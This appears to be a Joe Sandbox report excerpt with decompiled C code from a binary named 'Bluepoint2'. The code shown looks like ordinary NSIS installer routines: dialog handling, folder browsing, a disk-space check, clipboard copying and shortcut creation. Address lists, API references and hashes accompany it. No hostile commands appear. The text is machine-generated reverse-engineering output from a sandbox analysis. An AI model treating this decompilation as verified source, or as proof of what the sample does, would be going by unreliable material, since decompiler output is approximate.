                                                    				if(_a12 >= _t156) {
                                                    					SendMessageW(_v8, 0x1024, _t156, _a12);
                                                    				}
                                                    				_push( *((intOrPtr*)(_a16 + 0x30)));
                                                    				_push(0x1b);
                                                    				E004045C4(_a4);
                                                    				if(( *0x42a278 & 0x00000003) != 0) {
                                                    					ShowWindow( *0x429230, _t156);
                                                    					if(( *0x42a278 & 0x00000002) != 0) {
                                                    						 *0x429230 = _t156;
                                                    					} else {
                                                    						ShowWindow(_v8, 8);
                                                    					}
                                                    					E004045F9( *0x429228);
                                                    				}
                                                    				_t168 = GetDlgItem(_a4, 0x3ec);
                                                    				SendMessageW(_t168, 0x401, _t156, 0x75300000);
                                                    				if(( *0x42a278 & 0x00000004) != 0) {
                                                    					SendMessageW(_t168, 0x409, _t156, _a12);
                                                    					SendMessageW(_t168, 0x2001, _t156, _a8);
                                                    				}
                                                    				goto L36;
                                                    			}

































                                                    0x00405811
                                                    0x00405817
                                                    0x00405821
                                                    0x00405824
                                                    0x004059ba
                                                    0x004059de
                                                    0x004059de
                                                    0x004059f1
                                                    0x00405a0f
                                                    0x00405a11
                                                    0x00405a19
                                                    0x00405a6f
                                                    0x00405a73
                                                    0x00000000
                                                    0x00000000
                                                    0x00405a75
                                                    0x00405a7b
                                                    0x00000000
                                                    0x00000000
                                                    0x00405a85
                                                    0x00405a8d
                                                    0x00405a90
                                                    0x00405b92
                                                    0x00000000
                                                    0x00405b92
                                                    0x00405a9f
                                                    0x00405aaa
                                                    0x00405ab3
                                                    0x00405abe
                                                    0x00405ac1
                                                    0x00405aca
                                                    0x00405ad0
                                                    0x00405ad3
                                                    0x00405ad3
                                                    0x00405aeb
                                                    0x00405af4
                                                    0x00405af7
                                                    0x00405afe
                                                    0x00405b05
                                                    0x00405b0d
                                                    0x00405b0d
                                                    0x00405b24
                                                    0x00405b24
                                                    0x00405b2b
                                                    0x00405b31
                                                    0x00405b3d
                                                    0x00405b44
                                                    0x00405b4d
                                                    0x00405b4f
                                                    0x00405b52
                                                    0x00405b61
                                                    0x00405b64
                                                    0x00405b6a
                                                    0x00405b6b
                                                    0x00405b71
                                                    0x00405b72
                                                    0x00405b73
                                                    0x00405b7b
                                                    0x00405b86
                                                    0x00405b8c
                                                    0x00405b8c
                                                    0x00000000
                                                    0x00405aeb
                                                    0x00405a21
                                                    0x00405a51
                                                    0x00405a59
                                                    0x00405a64
                                                    0x00405a64
                                                    0x00405a6a
                                                    0x00000000
                                                    0x00405a6a
                                                    0x00405a25
                                                    0x00405a2f
                                                    0x00000000
                                                    0x004059f3
                                                    0x004059f9
                                                    0x00405a34
                                                    0x00000000
                                                    0x00405a3d
                                                    0x00405a02
                                                    0x00405a07
                                                    0x00405a0a
                                                    0x00000000
                                                    0x00405a0a
                                                    0x004059f1
                                                    0x0040582a
                                                    0x0040582e
                                                    0x00405836
                                                    0x0040583a
                                                    0x0040583d
                                                    0x00405840
                                                    0x00405843
                                                    0x00405846
                                                    0x00405847
                                                    0x00405848
                                                    0x00405861
                                                    0x00405864
                                                    0x0040586e
                                                    0x0040587d
                                                    0x00405885
                                                    0x0040588d
                                                    0x00405892
                                                    0x00405895
                                                    0x004058a1
                                                    0x004058aa
                                                    0x004058b3
                                                    0x004058d5
                                                    0x004058db
                                                    0x004058ec
                                                    0x004058f1
                                                    0x004058ff
                                                    0x0040590d
                                                    0x0040590d
                                                    0x00405912
                                                    0x00405920
                                                    0x00405920
                                                    0x00405925
                                                    0x00405928
                                                    0x0040592d
                                                    0x00405939
                                                    0x00405942
                                                    0x0040594f
                                                    0x0040595e
                                                    0x00405951
                                                    0x00405956
                                                    0x00405956
                                                    0x0040596a
                                                    0x0040596a
                                                    0x0040597e
                                                    0x00405987
                                                    0x00405990
                                                    0x004059a0
                                                    0x004059ac
                                                    0x004059ac
                                                    0x00000000

                                                    APIs
                                                    • GetDlgItem.USER32 ref: 00405867
                                                    • GetDlgItem.USER32 ref: 00405876
                                                    • GetClientRect.USER32 ref: 004058B3
                                                    • GetSystemMetrics.USER32 ref: 004058BA
                                                    • SendMessageW.USER32(?,00001061,00000000,?), ref: 004058DB
                                                    • SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004058EC
                                                    • SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004058FF
                                                    • SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040590D
                                                    • SendMessageW.USER32(?,00001024,00000000,?), ref: 00405920
                                                    • ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405942
                                                    • ShowWindow.USER32(?,00000008), ref: 00405956
                                                    • GetDlgItem.USER32 ref: 00405977
                                                    • SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405987
                                                    • SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004059A0
                                                    • SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004059AC
                                                    • GetDlgItem.USER32 ref: 00405885
                                                      • Part of subcall function 004045F9: SendMessageW.USER32(00000028,?,00000001,00404424), ref: 00404607
                                                    • GetDlgItem.USER32 ref: 004059C9
                                                    • CreateThread.KERNEL32 ref: 004059D7
                                                    • CloseHandle.KERNEL32(00000000), ref: 004059DE
                                                    • ShowWindow.USER32(00000000), ref: 00405A02
                                                    • ShowWindow.USER32(?,00000008), ref: 00405A07
                                                    • ShowWindow.USER32(00000008), ref: 00405A51
                                                    • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405A85
                                                    • CreatePopupMenu.USER32 ref: 00405A96
                                                    • AppendMenuW.USER32 ref: 00405AAA
                                                    • GetWindowRect.USER32 ref: 00405ACA
                                                    • TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405AE3
                                                    • SendMessageW.USER32(?,00001073,00000000,?), ref: 00405B1B
                                                    • OpenClipboard.USER32(00000000), ref: 00405B2B
                                                    • EmptyClipboard.USER32 ref: 00405B31
                                                    • GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405B3D
                                                    • GlobalLock.KERNEL32 ref: 00405B47
                                                    • SendMessageW.USER32(?,00001073,00000000,?), ref: 00405B5B
                                                    • GlobalUnlock.KERNEL32(00000000), ref: 00405B7B
                                                    • SetClipboardData.USER32(0000000D,00000000), ref: 00405B86
                                                    • CloseClipboard.USER32 ref: 00405B8C
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
                                                    • String ID: H7B${
                                                    • API String ID: 590372296-2256286769
                                                    • Opcode ID: e4f6a996a8720e03325efe7e3e6ec8b5bf9409ee1120525c1c8a69bac62d7f01
                                                    • Instruction ID: d0bbb34d81c2c7a38b5cdb5171fa906e4f4201ee6cbe22cb0b3272b57562556b
                                                    • Opcode Fuzzy Hash: e4f6a996a8720e03325efe7e3e6ec8b5bf9409ee1120525c1c8a69bac62d7f01
                                                    • Instruction Fuzzy Hash: D8B137B0900608FFDF119FA0DD89AAE7B79FB08354F00417AFA45A61A0CB755E52DF68
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 78%
                                                    			E00404AB5(unsigned int __edx, struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, intOrPtr _a16) {
                                                    				signed int _v8;
                                                    				signed int _v12;
                                                    				long _v16;
                                                    				long _v20;
                                                    				long _v24;
                                                    				char _v28;
                                                    				intOrPtr _v32;
                                                    				long _v36;
                                                    				char _v40;
                                                    				unsigned int _v44;
                                                    				signed int _v48;
                                                    				WCHAR* _v56;
                                                    				intOrPtr _v60;
                                                    				intOrPtr _v64;
                                                    				intOrPtr _v68;
                                                    				WCHAR* _v72;
                                                    				void _v76;
                                                    				struct HWND__* _v80;
                                                    				void* __ebx;
                                                    				void* __edi;
                                                    				void* __esi;
                                                    				intOrPtr _t82;
                                                    				long _t87;
                                                    				short* _t89;
                                                    				void* _t95;
                                                    				signed int _t96;
                                                    				int _t109;
                                                    				signed short _t114;
                                                    				signed int _t118;
                                                    				struct HWND__** _t122;
                                                    				intOrPtr* _t138;
                                                    				WCHAR* _t146;
                                                    				unsigned int _t150;
                                                    				signed int _t152;
                                                    				unsigned int _t156;
                                                    				signed int _t158;
                                                    				signed int* _t159;
                                                    				signed int* _t160;
                                                    				struct HWND__* _t166;
                                                    				struct HWND__* _t167;
                                                    				int _t169;
                                                    				unsigned int _t197;
                                                    
                                                    				_t156 = __edx;
                                                    				_t82 =  *0x422720;
                                                    				_v32 = _t82;
                                                    				_t146 = ( *(_t82 + 0x3c) << 0xb) + 0x42b000;
                                                    				_v12 =  *((intOrPtr*)(_t82 + 0x38));
                                                    				if(_a8 == 0x40b) {
                                                    					E00405CAC(0x3fb, _t146);
                                                    					E004068EF(_t146);
                                                    				}
                                                    				_t167 = _a4;
                                                    				if(_a8 != 0x110) {
                                                    					L8:
                                                    					if(_a8 != 0x111) {
                                                    						L20:
                                                    						if(_a8 == 0x40f) {
                                                    							L22:
                                                    							_v8 = _v8 & 0x00000000;
                                                    							_v12 = _v12 & 0x00000000;
                                                    							E00405CAC(0x3fb, _t146);
                                                    							if(E0040603F(_t186, _t146) == 0) {
                                                    								_v8 = 1;
                                                    							}
                                                    							E00406668(0x421718, _t146);
                                                    							_t87 = E00406A35(1);
                                                    							_v16 = _t87;
                                                    							if(_t87 == 0) {
                                                    								L30:
                                                    								E00406668(0x421718, _t146);
                                                    								_t89 = E00405FE2(0x421718);
                                                    								_t158 = 0;
                                                    								if(_t89 != 0) {
                                                    									 *_t89 = 0;
                                                    								}
                                                    								if(GetDiskFreeSpaceW(0x421718,  &_v20,  &_v24,  &_v16,  &_v36) == 0) {
                                                    									goto L35;
                                                    								} else {
                                                    									_t169 = 0x400;
                                                    									_t109 = MulDiv(_v20 * _v24, _v16, 0x400);
                                                    									asm("cdq");
                                                    									_v48 = _t109;
                                                    									_v44 = _t156;
                                                    									_v12 = 1;
                                                    									goto L36;
                                                    								}
                                                    							} else {
                                                    								_t159 = 0;
                                                    								if(0 == 0x421718) {
                                                    									goto L30;
                                                    								} else {
                                                    									goto L26;
                                                    								}
                                                    								while(1) {
                                                    									L26:
                                                    									_t114 = _v16(0x421718,  &_v48,  &_v28,  &_v40);
                                                    									if(_t114 != 0) {
                                                    										break;
                                                    									}
                                                    									if(_t159 != 0) {
                                                    										 *_t159 =  *_t159 & _t114;
                                                    									}
                                                    									_t160 = E00405F83(0x421718);
                                                    									 *_t160 =  *_t160 & 0x00000000;
                                                    									_t159 = _t160;
                                                    									 *_t159 = 0x5c;
                                                    									if(_t159 != 0x421718) {
                                                    										continue;
                                                    									} else {
                                                    										goto L30;
                                                    									}
                                                    								}
                                                    								_t150 = _v44;
                                                    								_v48 = (_t150 << 0x00000020 | _v48) >> 0xa;
                                                    								_v44 = _t150 >> 0xa;
                                                    								_v12 = 1;
                                                    								_t158 = 0;
                                                    								__eflags = 0;
                                                    								L35:
                                                    								_t169 = 0x400;
                                                    								L36:
                                                    								_t95 = E00404F52(5);
                                                    								if(_v12 != _t158) {
                                                    									_t197 = _v44;
                                                    									if(_t197 <= 0 && (_t197 < 0 || _v48 < _t95)) {
                                                    										_v8 = 2;
                                                    									}
                                                    								}
                                                    								if( *((intOrPtr*)( *0x42923c + 0x10)) != _t158) {
                                                    									E00404F3A(0x3ff, 0xfffffffb, _t95);
                                                    									if(_v12 == _t158) {
                                                    										SetDlgItemTextW(_a4, _t169, 0x421708);
                                                    									} else {
                                                    										E00404E71(_t169, 0xfffffffc, _v48, _v44);
                                                    									}
                                                    								}
                                                    								_t96 = _v8;
                                                    								 *0x42a304 = _t96;
                                                    								if(_t96 == _t158) {
                                                    									_v8 = E0040140B(7);
                                                    								}
                                                    								if(( *(_v32 + 0x14) & _t169) != 0) {
                                                    									_v8 = _t158;
                                                    								}
                                                    								E004045E6(0 | _v8 == _t158);
                                                    								if(_v8 == _t158 &&  *0x423738 == _t158) {
                                                    									E00404A0E();
                                                    								}
                                                    								 *0x423738 = _t158;
                                                    								goto L53;
                                                    							}
                                                    						}
                                                    						_t186 = _a8 - 0x405;
                                                    						if(_a8 != 0x405) {
                                                    							goto L53;
                                                    						}
                                                    						goto L22;
                                                    					}
                                                    					_t118 = _a12 & 0x0000ffff;
                                                    					if(_t118 != 0x3fb) {
                                                    						L12:
                                                    						if(_t118 == 0x3e9) {
                                                    							_t152 = 7;
                                                    							memset( &_v76, 0, _t152 << 2);
                                                    							_v80 = _t167;
                                                    							_v72 = 0x423748;
                                                    							_v60 = E00404E0B;
                                                    							_v56 = _t146;
                                                    							_v68 = E004066A5(_t146, 0x423748, _t167, 0x421f20, _v12);
                                                    							_t122 =  &_v80;
                                                    							_v64 = 0x41;
                                                    							__imp__SHBrowseForFolderW(_t122);
                                                    							if(_t122 == 0) {
                                                    								_a8 = 0x40f;
                                                    							} else {
                                                    								__imp__CoTaskMemFree(_t122);
                                                    								E00405F37(_t146);
                                                    								_t125 =  *((intOrPtr*)( *0x42a270 + 0x11c));
                                                    								if( *((intOrPtr*)( *0x42a270 + 0x11c)) != 0 && _t146 == L"C:\\Users\\engineer\\AppData\\Local\\Temp") {
                                                    									E004066A5(_t146, 0x423748, _t167, 0, _t125);
                                                    									if(lstrcmpiW(0x428200, 0x423748) != 0) {
                                                    										lstrcatW(_t146, 0x428200);
                                                    									}
                                                    								}
                                                    								 *0x423738 =  *0x423738 + 1;
                                                    								SetDlgItemTextW(_t167, 0x3fb, _t146);
                                                    							}
                                                    						}
                                                    						goto L20;
                                                    					}
                                                    					if(_a12 >> 0x10 != 0x300) {
                                                    						goto L53;
                                                    					}
                                                    					_a8 = 0x40f;
                                                    					goto L12;
                                                    				} else {
                                                    					_t166 = GetDlgItem(_t167, 0x3fb);
                                                    					if(E00405FAE(_t146) != 0 && E00405FE2(_t146) == 0) {
                                                    						E00405F37(_t146);
                                                    					}
                                                    					 *0x429238 = _t167;
                                                    					SetWindowTextW(_t166, _t146);
                                                    					_push( *((intOrPtr*)(_a16 + 0x34)));
                                                    					_push(1);
                                                    					E004045C4(_t167);
                                                    					_push( *((intOrPtr*)(_a16 + 0x30)));
                                                    					_push(0x14);
                                                    					E004045C4(_t167);
                                                    					E004045F9(_t166);
                                                    					_t138 = E00406A35(8);
                                                    					if(_t138 == 0) {
                                                    						L53:
                                                    						return E0040462B(_a8, _a12, _a16);
                                                    					} else {
                                                    						 *_t138(_t166, 1);
                                                    						goto L8;
                                                    					}
                                                    				}
                                                    			}













































                                                    0x00404ab5
                                                    0x00404abb
                                                    0x00404ac1
                                                    0x00404ace
                                                    0x00404adc
                                                    0x00404adf
                                                    0x00404ae7
                                                    0x00404aed
                                                    0x00404aed
                                                    0x00404af9
                                                    0x00404afc
                                                    0x00404b6a
                                                    0x00404b71
                                                    0x00404c48
                                                    0x00404c4f
                                                    0x00404c5e
                                                    0x00404c5e
                                                    0x00404c62
                                                    0x00404c6c
                                                    0x00404c79
                                                    0x00404c7b
                                                    0x00404c7b
                                                    0x00404c89
                                                    0x00404c90
                                                    0x00404c97
                                                    0x00404c9a
                                                    0x00404cd6
                                                    0x00404cd8
                                                    0x00404cde
                                                    0x00404ce3
                                                    0x00404ce7
                                                    0x00404ce9
                                                    0x00404ce9
                                                    0x00404d05
                                                    0x00000000
                                                    0x00404d07
                                                    0x00404d0a
                                                    0x00404d18
                                                    0x00404d1e
                                                    0x00404d1f
                                                    0x00404d22
                                                    0x00404d25
                                                    0x00000000
                                                    0x00404d25
                                                    0x00404c9c
                                                    0x00404c9e
                                                    0x00404ca2
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00404ca4
                                                    0x00404ca4
                                                    0x00404cb1
                                                    0x00404cb6
                                                    0x00000000
                                                    0x00000000
                                                    0x00404cba
                                                    0x00404cbc
                                                    0x00404cbc
                                                    0x00404cc5
                                                    0x00404cc7
                                                    0x00404ccc
                                                    0x00404ccf
                                                    0x00404cd4
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00404cd4
                                                    0x00404d31
                                                    0x00404d3b
                                                    0x00404d3e
                                                    0x00404d41
                                                    0x00404d48
                                                    0x00404d48
                                                    0x00404d4a
                                                    0x00404d4a
                                                    0x00404d4f
                                                    0x00404d51
                                                    0x00404d59
                                                    0x00404d60
                                                    0x00404d62
                                                    0x00404d6d
                                                    0x00404d6d
                                                    0x00404d62
                                                    0x00404d7d
                                                    0x00404d87
                                                    0x00404d8f
                                                    0x00404daa
                                                    0x00404d91
                                                    0x00404d9a
                                                    0x00404d9a
                                                    0x00404d8f
                                                    0x00404daf
                                                    0x00404db4
                                                    0x00404db9
                                                    0x00404dc2
                                                    0x00404dc2
                                                    0x00404dcb
                                                    0x00404dcd
                                                    0x00404dcd
                                                    0x00404dd9
                                                    0x00404de1
                                                    0x00404deb
                                                    0x00404deb
                                                    0x00404df0
                                                    0x00000000
                                                    0x00404df0
                                                    0x00404c9a
                                                    0x00404c51
                                                    0x00404c58
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00404c58
                                                    0x00404b77
                                                    0x00404b80
                                                    0x00404b9a
                                                    0x00404b9f
                                                    0x00404ba9
                                                    0x00404bb0
                                                    0x00404bbc
                                                    0x00404bbf
                                                    0x00404bc2
                                                    0x00404bc9
                                                    0x00404bd1
                                                    0x00404bd4
                                                    0x00404bd8
                                                    0x00404bdf
                                                    0x00404be7
                                                    0x00404c41
                                                    0x00404be9
                                                    0x00404bea
                                                    0x00404bf1
                                                    0x00404bfb
                                                    0x00404c03
                                                    0x00404c10
                                                    0x00404c24
                                                    0x00404c28
                                                    0x00404c28
                                                    0x00404c24
                                                    0x00404c2d
                                                    0x00404c3a
                                                    0x00404c3a
                                                    0x00404be7
                                                    0x00000000
                                                    0x00404b9f
                                                    0x00404b8d
                                                    0x00000000
                                                    0x00000000
                                                    0x00404b93
                                                    0x00000000
                                                    0x00404afe
                                                    0x00404b0b
                                                    0x00404b14
                                                    0x00404b21
                                                    0x00404b21
                                                    0x00404b28
                                                    0x00404b2e
                                                    0x00404b37
                                                    0x00404b3a
                                                    0x00404b3d
                                                    0x00404b45
                                                    0x00404b48
                                                    0x00404b4b
                                                    0x00404b51
                                                    0x00404b58
                                                    0x00404b5f
                                                    0x00404df6
                                                    0x00404e08
                                                    0x00404b65
                                                    0x00404b68
                                                    0x00000000
                                                    0x00404b68
                                                    0x00404b5f

                                                    APIs
                                                    • GetDlgItem.USER32 ref: 00404B04
                                                    • SetWindowTextW.USER32(00000000,?), ref: 00404B2E
                                                    • SHBrowseForFolderW.SHELL32(?), ref: 00404BDF
                                                    • CoTaskMemFree.OLE32(00000000), ref: 00404BEA
                                                    • lstrcmpiW.KERNEL32(Call,00423748,00000000,?,?), ref: 00404C1C
                                                    • lstrcatW.KERNEL32(?,Call), ref: 00404C28
                                                    • SetDlgItemTextW.USER32 ref: 00404C3A
                                                      • Part of subcall function 00405CAC: GetDlgItemTextW.USER32 ref: 00405CBF
                                                      • Part of subcall function 004068EF: CharNextW.USER32(?,*?|<>/":,00000000,00000000,76F1FAA0,C:\Users\user\AppData\Local\Temp\,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406952
                                                      • Part of subcall function 004068EF: CharNextW.USER32(?,?,?,00000000,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406961
                                                      • Part of subcall function 004068EF: CharNextW.USER32(?,00000000,76F1FAA0,C:\Users\user\AppData\Local\Temp\,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406966
                                                      • Part of subcall function 004068EF: CharPrevW.USER32(?,?,76F1FAA0,C:\Users\user\AppData\Local\Temp\,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406979
                                                    • GetDiskFreeSpaceW.KERNEL32(00421718,?,?,0000040F,?,00421718,00421718,?,00000001,00421718,?,?,000003FB,?), ref: 00404CFD
                                                    • MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404D18
                                                      • Part of subcall function 00404E71: lstrlenW.KERNEL32(00423748,00423748,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404F12
                                                      • Part of subcall function 00404E71: wsprintfW.USER32 ref: 00404F1B
                                                      • Part of subcall function 00404E71: SetDlgItemTextW.USER32 ref: 00404F2E
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
                                                    • String ID: A$C:\Users\user\AppData\Local\Temp$Call$H7B
                                                    • API String ID: 2624150263-3225898076
                                                    • Opcode ID: cafbbb3b6b33e648c9f94ba13bd1897e858c1dbc17bb594ac49896ccdcf60781
                                                    • Instruction ID: 9155a42c54a3203d4d9709c494e168d8d926bd307d67cbb08bf4d9f42020e7e3
                                                    • Opcode Fuzzy Hash: cafbbb3b6b33e648c9f94ba13bd1897e858c1dbc17bb594ac49896ccdcf60781
                                                    • Instruction Fuzzy Hash: 94A171F1900219ABDB11EFA5CD41AAFB7B8EF84315F11843BF601B62D1D77C8A418B69
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 67%
                                                    			E004021AA() {
                                                    				signed int _t52;
                                                    				void* _t56;
                                                    				intOrPtr* _t60;
                                                    				intOrPtr _t61;
                                                    				intOrPtr* _t62;
                                                    				intOrPtr* _t64;
                                                    				intOrPtr* _t66;
                                                    				intOrPtr* _t68;
                                                    				intOrPtr* _t70;
                                                    				intOrPtr* _t72;
                                                    				intOrPtr* _t74;
                                                    				intOrPtr* _t76;
                                                    				intOrPtr* _t78;
                                                    				intOrPtr* _t80;
                                                    				void* _t83;
                                                    				intOrPtr* _t91;
                                                    				signed int _t101;
                                                    				signed int _t105;
                                                    				void* _t107;
                                                    
                                                    				 *((intOrPtr*)(_t107 - 0x10)) = E00402DA6(0xfffffff0);
                                                    				 *((intOrPtr*)(_t107 - 0x44)) = E00402DA6(0xffffffdf);
                                                    				 *((intOrPtr*)(_t107 - 8)) = E00402DA6(2);
                                                    				 *((intOrPtr*)(_t107 - 0x4c)) = E00402DA6(0xffffffcd);
                                                    				 *((intOrPtr*)(_t107 - 0xc)) = E00402DA6(0x45);
                                                    				_t52 =  *(_t107 - 0x20);
                                                    				 *(_t107 - 0x50) = _t52 & 0x00000fff;
                                                    				_t101 = _t52 & 0x00008000;
                                                    				_t105 = _t52 >> 0x0000000c & 0x00000007;
                                                    				 *(_t107 - 0x40) = _t52 >> 0x00000010 & 0x0000ffff;
                                                    				if(E00405FAE( *((intOrPtr*)(_t107 - 0x44))) == 0) {
                                                    					E00402DA6(0x21);
                                                    				}
                                                    				_t56 = _t107 + 8;
                                                    				__imp__CoCreateInstance(0x4084e4, _t83, 1, 0x4084d4, _t56);
                                                    				if(_t56 < _t83) {
                                                    					L14:
                                                    					 *((intOrPtr*)(_t107 - 4)) = 1;
                                                    					_push(0xfffffff0);
                                                    				} else {
                                                    					_t60 =  *((intOrPtr*)(_t107 + 8));
                                                    					_t61 =  *((intOrPtr*)( *_t60))(_t60, 0x4084f4, _t107 - 0x38);
                                                    					 *((intOrPtr*)(_t107 - 0x18)) = _t61;
                                                    					if(_t61 >= _t83) {
                                                    						_t64 =  *((intOrPtr*)(_t107 + 8));
                                                    						 *((intOrPtr*)(_t107 - 0x18)) =  *((intOrPtr*)( *_t64 + 0x50))(_t64,  *((intOrPtr*)(_t107 - 0x44)));
                                                    						if(_t101 == _t83) {
                                                    							_t80 =  *((intOrPtr*)(_t107 + 8));
                                                    							 *((intOrPtr*)( *_t80 + 0x24))(_t80, 0x436000);
                                                    						}
                                                    						if(_t105 != _t83) {
                                                    							_t78 =  *((intOrPtr*)(_t107 + 8));
                                                    							 *((intOrPtr*)( *_t78 + 0x3c))(_t78, _t105);
                                                    						}
                                                    						_t66 =  *((intOrPtr*)(_t107 + 8));
                                                    						 *((intOrPtr*)( *_t66 + 0x34))(_t66,  *(_t107 - 0x40));
                                                    						_t91 =  *((intOrPtr*)(_t107 - 0x4c));
                                                    						if( *_t91 != _t83) {
                                                    							_t76 =  *((intOrPtr*)(_t107 + 8));
                                                    							 *((intOrPtr*)( *_t76 + 0x44))(_t76, _t91,  *(_t107 - 0x50));
                                                    						}
                                                    						_t68 =  *((intOrPtr*)(_t107 + 8));
                                                    						 *((intOrPtr*)( *_t68 + 0x2c))(_t68,  *((intOrPtr*)(_t107 - 8)));
                                                    						_t70 =  *((intOrPtr*)(_t107 + 8));
                                                    						 *((intOrPtr*)( *_t70 + 0x1c))(_t70,  *((intOrPtr*)(_t107 - 0xc)));
                                                    						if( *((intOrPtr*)(_t107 - 0x18)) >= _t83) {
                                                    							_t74 =  *((intOrPtr*)(_t107 - 0x38));
                                                    							 *((intOrPtr*)(_t107 - 0x18)) =  *((intOrPtr*)( *_t74 + 0x18))(_t74,  *((intOrPtr*)(_t107 - 0x10)), 1);
                                                    						}
                                                    						_t72 =  *((intOrPtr*)(_t107 - 0x38));
                                                    						 *((intOrPtr*)( *_t72 + 8))(_t72);
                                                    					}
                                                    					_t62 =  *((intOrPtr*)(_t107 + 8));
                                                    					 *((intOrPtr*)( *_t62 + 8))(_t62);
                                                    					if( *((intOrPtr*)(_t107 - 0x18)) >= _t83) {
                                                    						_push(0xfffffff4);
                                                    					} else {
                                                    						goto L14;
                                                    					}
                                                    				}
                                                    				E00401423();
                                                    				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t107 - 4));
                                                    				return 0;
                                                    			}






















                                                    0x004021b3
                                                    0x004021bd
                                                    0x004021c7
                                                    0x004021d1
                                                    0x004021dc
                                                    0x004021df
                                                    0x004021f9
                                                    0x004021fc
                                                    0x00402202
                                                    0x00402205
                                                    0x0040220f
                                                    0x00402213
                                                    0x00402213
                                                    0x00402218
                                                    0x00402229
                                                    0x00402231
                                                    0x004022e8
                                                    0x004022e8
                                                    0x004022ef
                                                    0x00402237
                                                    0x00402237
                                                    0x00402246
                                                    0x0040224a
                                                    0x0040224d
                                                    0x00402253
                                                    0x00402261
                                                    0x00402264
                                                    0x00402266
                                                    0x00402271
                                                    0x00402271
                                                    0x00402276
                                                    0x00402278
                                                    0x0040227f
                                                    0x0040227f
                                                    0x00402282
                                                    0x0040228b
                                                    0x0040228e
                                                    0x00402294
                                                    0x00402296
                                                    0x004022a0
                                                    0x004022a0
                                                    0x004022a3
                                                    0x004022ac
                                                    0x004022af
                                                    0x004022b8
                                                    0x004022be
                                                    0x004022c0
                                                    0x004022ce
                                                    0x004022ce
                                                    0x004022d1
                                                    0x004022d7
                                                    0x004022d7
                                                    0x004022da
                                                    0x004022e0
                                                    0x004022e6
                                                    0x004022fb
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x004022e6
                                                    0x004022f1
                                                    0x00402c2d
                                                    0x00402c39

                                                    APIs
                                                    • CoCreateInstance.OLE32(004084E4,?,00000001,004084D4,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402229
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
